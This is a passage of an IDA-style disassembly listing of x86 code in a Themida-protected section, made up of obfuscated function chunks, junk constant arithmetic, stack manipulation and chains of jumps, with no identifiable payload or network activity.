; START	OF FUNCTION CHUNK FOR sub_570621


loc_56859E:				; CODE XREF: sub_570621-CF86j
		mov	edx, [esp+8+var_8]
		add	esp, 4
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		jmp	loc_56FF59
; END OF FUNCTION CHUNK	FOR sub_570621

; =============== S U B	R O U T	I N E =======================================



sub_5685B2	proc near		; CODE XREF: sub_56356E+8j

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 005601B0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00560742 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00560CBE SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00560DAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005617E0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00561AB7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561B28 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561E61 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561F30 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005629DB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00562A5B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00562C78 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00562E0F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562FC6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056378B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005637DE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563987 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00563F95 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005647D4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00564EB8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005653FC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00565AAD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005665FC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00566D22 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566EBB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005679FF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056844E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569467 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0056B336 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B615 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056B6ED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C015 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056C0AB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056CA5B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056D9AA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F7AB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FEC8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056FF53 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005702F4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005704DF SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005708C1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570D21 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057124A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571EF2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00571F82 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572E4C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005745DD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574A74 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00574ED2 SIZE 00000016 BYTES

		sub	esp, 4
		mov	[esp-0Ch+arg_8], esi
		jmp	loc_56398F
sub_5685B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5685C0:				; CODE XREF: Themida_:00560CB9j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	edi, edx
		jmp	loc_561FD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_5685D8:				; CODE XREF: sub_56628B+5DF0j
		xor	ebp, esi
		push	[esp+8+var_8]
		jmp	loc_56D46F
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_5685E2:				; CODE XREF: sub_57549C-DCBAj
		push	7CFFh
		jmp	loc_56C416
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5685EC:				; CODE XREF: sub_5678CB-1ACDj
		mov	eax, 2FFD2FD6h
		and	eax, 28DE4486h
		not	eax
		sub	eax, 50D864B1h
		sub	eax, 3D08216Fh
		push	edi
		mov	edi, 4E4C40DCh
		dec	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 17E241D3h
		xor	esi, 555353FEh
		jmp	loc_562D30
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------


loc_568622:				; CODE XREF: Themida_:0056C064j
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_56DFA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_568630:				; CODE XREF: sub_561418+50A4j
		mov	ebp, edi
		pop	edi
		push	edi
		mov	edi, 6AE13A1Ch
		sub	edi, 0E0F2FC2h
		mov	edx, edi
		jmp	loc_5716BF
; END OF FUNCTION CHUNK	FOR sub_561418

; =============== S U B	R O U T	I N E =======================================



sub_568646	proc near		; CODE XREF: sub_56489B-2596j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_E		= word ptr  12h

; FUNCTION CHUNK AT 005603CA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005607DF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00561DF0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00562043 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00566C3A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00567B14 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056955D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569C88 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056A230 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056DE64 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E0D6 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056EC69 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056ED17 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056F5FF SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00572512 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057535B SIZE 00000006 BYTES

		push	ebx
		mov	bh, ch
		push	eax
		mov	ah, bh
		mov	dl, ah
		pop	eax
		pop	ebx
		mov	ecx, [esp+0]
		jmp	loc_567B14
sub_568646	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_568658	proc near		; DATA XREF: Themida_:0055FDC8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		push	edi
		jmp	sub_570019
sub_568658	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_56866E:				; CODE XREF: sub_565B6E+CC5Ej
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_570E58
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56867C:				; CODE XREF: sub_5605BC+E0BCj
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	[esp+2Ch+var_28]
		pop	ecx
		pop	dword ptr [esp+0]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	[esp+28h+var_28]
		mov	eax, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_571B6B
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_5686AE:				; CODE XREF: sub_56657A+E2F0j
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ecx
		push	ebp
		jmp	loc_56D783
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_5686BE:				; CODE XREF: sub_565A8D+AF75j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	esi
		push	0BC12998h
		jmp	loc_56CAAA
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------


loc_5686E5:				; CODE XREF: Themida_:0056841Fj
		mov	[esp], eax
		push	ebp
		mov	ebp, 4
		push	ebp
		pop	eax
		pop	ebp
		sub	edx, 313A6C86h
		sub	edx, eax
		add	edx, 313A6C86h
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_573987
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_568716:				; CODE XREF: sub_574656-29C8j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		jmp	loc_573414
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------


loc_568737:				; CODE XREF: Themida_:005732A7j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	ecx
		jmp	loc_562DA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_56874B:				; CODE XREF: sub_568764+1F6Ej
		add	ebp, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	ebp
		push	[esp+10h+var_C]
		pop	ebp
		pop	[esp+10h+var_10]
		jmp	loc_5661AE
; END OF FUNCTION CHUNK	FOR sub_568764

; =============== S U B	R O U T	I N E =======================================



sub_568764	proc near		; DATA XREF: Themida_:0055FD98o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056044E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00562881 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005632E0 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00563931 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00565247 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005661AE SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0056874B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056A53C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A6CB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B936 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056DF16 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056F5A6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FDB2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005705F8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005710AC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571F0F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005739F1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057426F SIZE 00000018 BYTES

		mov	ax, [esp+0]
		push	ecx
		push	esp
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ecx
		jmp	loc_56044E
sub_568764	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_568776:				; CODE XREF: sub_565632+C69Aj
		push	0EE4h
		jmp	loc_563B6C
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------


loc_568780:				; CODE XREF: Themida_:0056F390j
		add	ebx, 1
		xchg	eax, ebx
		push	eax
		jmp	loc_56586D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56878A:				; CODE XREF: sub_564D26+EFDCj
		add	edi, ebp
		mov	ebp, [esp+1Ch+var_1C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		jmp	loc_568B2A
; END OF FUNCTION CHUNK	FOR sub_564D26

; =============== S U B	R O U T	I N E =======================================



sub_5687A3	proc near		; CODE XREF: sub_569B75-8F26j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056277D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563A66 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005650C3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565F16 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00566F96 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567C76 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00568B5A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056983F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005699BF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00569D57 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A659 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056AFF2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056E840 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F893 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056FCA0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00572CD0 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00573364 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00574F1E SIZE 00000022 BYTES

		sub	esp, 4
		jmp	loc_56FCA0
sub_5687A3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_5687AB:				; CODE XREF: sub_573612-6EC3j
		xor	edx, 322B3F24h
		add	ebx, 3E52660Dh
		jmp	loc_573DE9
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_5687BC:				; CODE XREF: sub_570E81-F26Dj
		neg	ebx
		xor	ebx, 0BED09408h
		add	esi, ebx
		jmp	loc_575306
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_5687CB:				; CODE XREF: sub_56FB8A-184Ej
		sub	edx, 4C1F71AEh
		add	edx, 0A33AAF71h
		sub	ebx, edx
		pop	edx
		pop	ebp
		jmp	loc_565464
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD36


loc_5687E0:				; CODE XREF: sub_56BD36+8C68j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		add	ebx, 4
		push	ebp
		jmp	loc_572126
; END OF FUNCTION CHUNK	FOR sub_56BD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5687FB:				; CODE XREF: sub_57354D-1CDDj
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		push	eax
		jmp	loc_56A690
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_568808:				; CODE XREF: sub_565632+9C4Fj
		pop	ebp
		jmp	loc_56D428
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566078


loc_56880E:				; CODE XREF: sub_566078-A84j
		mov	edx, [esp+0]
		jmp	loc_568AF0
; END OF FUNCTION CHUNK	FOR sub_566078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B71F


loc_568816:				; CODE XREF: sub_56B71F-7744j
		sub	edx, 42352928h
		sub	edx, 318372D7h
		xor	eax, edx
		jmp	loc_56589B
; END OF FUNCTION CHUNK	FOR sub_56B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_568829:				; CODE XREF: sub_56C83E+59B4j
		add	ebp, esi
		pop	esi
		sub	ebp, 62B828A1h
		or	ebp, 1D09135Eh
		jmp	loc_564113
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_56883D:				; CODE XREF: sub_56B1DC-317Ej
		mov	ebx, 616F6896h
		or	ebx, 42224A1Fh
		xor	ebx, 7A954B8h
		jmp	loc_566A5D
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_568853:				; CODE XREF: sub_570732-6C16j
		pop	ebp
		jmp	loc_568D42
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6977h
		jmp	loc_5694B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E4D4


loc_568867:				; CODE XREF: sub_56E4D4-45DEj
		xor	ebx, eax
		push	168Bh
		mov	[esp+0], ebx
		mov	ebx, 22316930h
		push	5195h
		mov	[esp+4+var_4], edi
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_5718E6
; END OF FUNCTION CHUNK	FOR sub_56E4D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_56888C:				; CODE XREF: sub_571C0A-8CFFj
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+8+var_8], esi
		mov	esi, esp
		jmp	loc_5659A1
; END OF FUNCTION CHUNK	FOR sub_571C0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_5688A0:				; CODE XREF: sub_56A7FB-6C94j
		xor	ch, 64h
		not	ch
		sub	ch, 0C1h
		jmp	loc_56B972
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_5688AD:				; CODE XREF: sub_56EFD2+19E1j
		pop	esi
		add	edi, 5D9A5487h
		jmp	loc_560D1D
; END OF FUNCTION CHUNK	FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_5688B9:				; CODE XREF: sub_571088-9DE1j
		pop	ebx
		jmp	loc_567B96
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C4FF


loc_5688BF:				; CODE XREF: sub_56C4FF+577Cj
		sub	ecx, 0AABF40D8h
		xor	ebp, ecx
		pop	ecx
		add	eax, ebp
		jmp	loc_56F528
; END OF FUNCTION CHUNK	FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_5688CF:				; CODE XREF: sub_568E5C+278Dj
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_566E19
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_5688D9:				; CODE XREF: sub_56E96D-5AD9j
		sub	ebx, 17E7F0D4h
		add	ebp, ebx
		pop	ebx
		jmp	loc_570442
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_5688E7:				; CODE XREF: sub_56DA43-78B2j
		pop	esp
		mov	[esp+0], esi
		push	[esp+arg_0]
		mov	esi, [esp+4+var_4]
		jmp	loc_572B04
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_5688F7:				; CODE XREF: sub_574A21-5CA5j
		pop	ecx
		jmp	loc_570AA9
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------


loc_5688FD:				; CODE XREF: Themida_:00571EDCj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	85Ch
		mov	[esp], ebp
		jmp	loc_5699B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_56891A:				; CODE XREF: sub_574A21-D419j
		xor	eax, ebx
		pop	ebx
		jmp	loc_566B94
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_568922:				; CODE XREF: sub_5666C3-2677j
		pop	esi
		sub	eax, 2CD30CF6h
		add	eax, 36D715BAh
		jmp	loc_573AC6
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_568932:				; CODE XREF: sub_560844+3B5j
		dec	edx
		not	edx
		not	edx
		and	edx, 16DE10FFh
		not	edx
		add	edx, 14000049h
		add	esi, edx
		jmp	loc_560203
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_56894C:				; CODE XREF: sub_56BC97-25E5j
		add	eax, 4
		jmp	loc_56B152
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_568956:				; CODE XREF: sub_56B11B+3848j
		add	ebx, eax
		jmp	loc_562663
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573167


loc_56895D:				; CODE XREF: sub_573167+12j
		mov	edx, 1B640300h
		neg	edx
		and	edx, 60F56C1Fh
		inc	edx
		or	edx, 3139634Fh
		add	edx, 8E4690B5h
		add	ebp, edx
		jmp	loc_5652B5
; END OF FUNCTION CHUNK	FOR sub_573167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_56897E:				; CODE XREF: sub_56EE9F-DC23j
		add	esp, 4
		or	[edi+1Ch], ebp
		jmp	loc_560804
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569E1B


loc_568989:				; CODE XREF: sub_569E1B+1F05j
		sub	al, 0B2h
		add	al, cl
		jmp	sub_57117B
; END OF FUNCTION CHUNK	FOR sub_569E1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_568992:				; CODE XREF: sub_574F16-88FAj
		mov	dl, 35h
		add	dl, ch
		pop	ecx
		shl	dl, 8
		jmp	loc_5628FD
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56899F:				; CODE XREF: sub_56FB8A-9D2Bj
		xor	edx, 27C181Bh
		xor	edx, 0EFC2116Ch
		add	esi, edx
		pop	edx
		push	esi
		add	[esp+8+var_8], 434C1F36h
		jmp	loc_565A3A
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_5689BB:				; CODE XREF: sub_56FA15-5018j
		xor	bl, ah
		jmp	loc_56D170
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F782


loc_5689C2:				; CODE XREF: sub_56F782+9j
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], esi
		jmp	loc_56ACAB
; END OF FUNCTION CHUNK	FOR sub_56F782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_5689D1:				; CODE XREF: sub_5690E8-55A9j
		xor	eax, [esp+8+var_8]
		jmp	loc_574B70
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E5BB


loc_5689D9:				; CODE XREF: sub_56E5BB+4A3Fj
		push	[esp+18h+var_14]
		pop	edx
		pop	[esp+18h+var_18]
		pop	esp
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		shl	[esp-4+arg_0], cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56E5BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_5689F2:				; CODE XREF: sub_56FA15-D77Fj
		pop	ecx
		add	al, 1Dh
		push	edx
		mov	dl, 0BBh
		sub	al, dl
		pop	edx
		add	al, 0ECh
		sub	al, dh
		sub	al, 0ECh
		add	al, 0BBh
		sub	al, 1Dh
		mov	dx, word ptr [esp+4+var_4]
		jmp	loc_571B05
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56306E


loc_568A0E:				; CODE XREF: sub_56306E+1552j
		pop	ebx
		sub	ecx, 1025252h
		sub	ecx, eax
		jmp	loc_565E71
; END OF FUNCTION CHUNK	FOR sub_56306E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_568A1C:				; CODE XREF: sub_5653AD+9474j
		dec	[esp+4+var_4]
		pushf
		jmp	loc_56003E
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_568A25:				; CODE XREF: sub_572DD7-C0FAj
		pop	eax
		jmp	loc_5690A3
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_568A2B:				; CODE XREF: sub_563A7F+6j
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+0Eh+var_C+2]
		pop	ecx
		pop	[esp+0Eh+var_10+2]
		pop	esp
		mov	[esp+6+var_8+2], edx
		mov	dl, 7Bh
		sub	dl, 8Ch
		add	dl, 53h
		push	eax
		mov	al, 34h
		and	dl, al
		pop	eax
		push	50DCh
		jmp	loc_56115A
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


loc_568A5E:				; CODE XREF: sub_5610CE+E2ACj
		mov	esi, 0CA00DA53h
		add	esi, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xchg	ecx, esi
		push	ecx
		xchg	ecx, [esp+8+var_8]
		jmp	loc_5754AD
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_568A79:				; CODE XREF: sub_563819+4427j
		push	3E97h
		mov	[esp-4+arg_0], ebx
		jmp	loc_5633A2
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_568A86:				; CODE XREF: sub_575315-12A56j
		mov	[esp+0], ebp
		inc	dword ptr [esp+0]
		jmp	loc_56F2F0
; END OF FUNCTION CHUNK	FOR sub_575315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_568A91:				; CODE XREF: sub_574A21-11924j
		mov	esi, 1A0F6167h
		jmp	loc_567F78
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_568A9B:				; CODE XREF: sub_560844+133C1j
		push	495Ch
		mov	[esp+0Ch+var_C], ecx
		neg	[esp+0Ch+var_C]
		pop	ecx
		jmp	loc_564D9D
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560D31


loc_568AAC:				; CODE XREF: sub_560D31+76E6j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_560D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57377E


loc_568AB1:				; CODE XREF: sub_57377E-10200j
		mov	edx, 3634797h
		sub	ebp, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		pop	esi
		and	[edi+1Ch], ebp
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_56F5B2
; END OF FUNCTION CHUNK	FOR sub_57377E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_568ACD:				; CODE XREF: sub_569A84+9C3Ej
		mov	ebx, esp
		push	9FAh
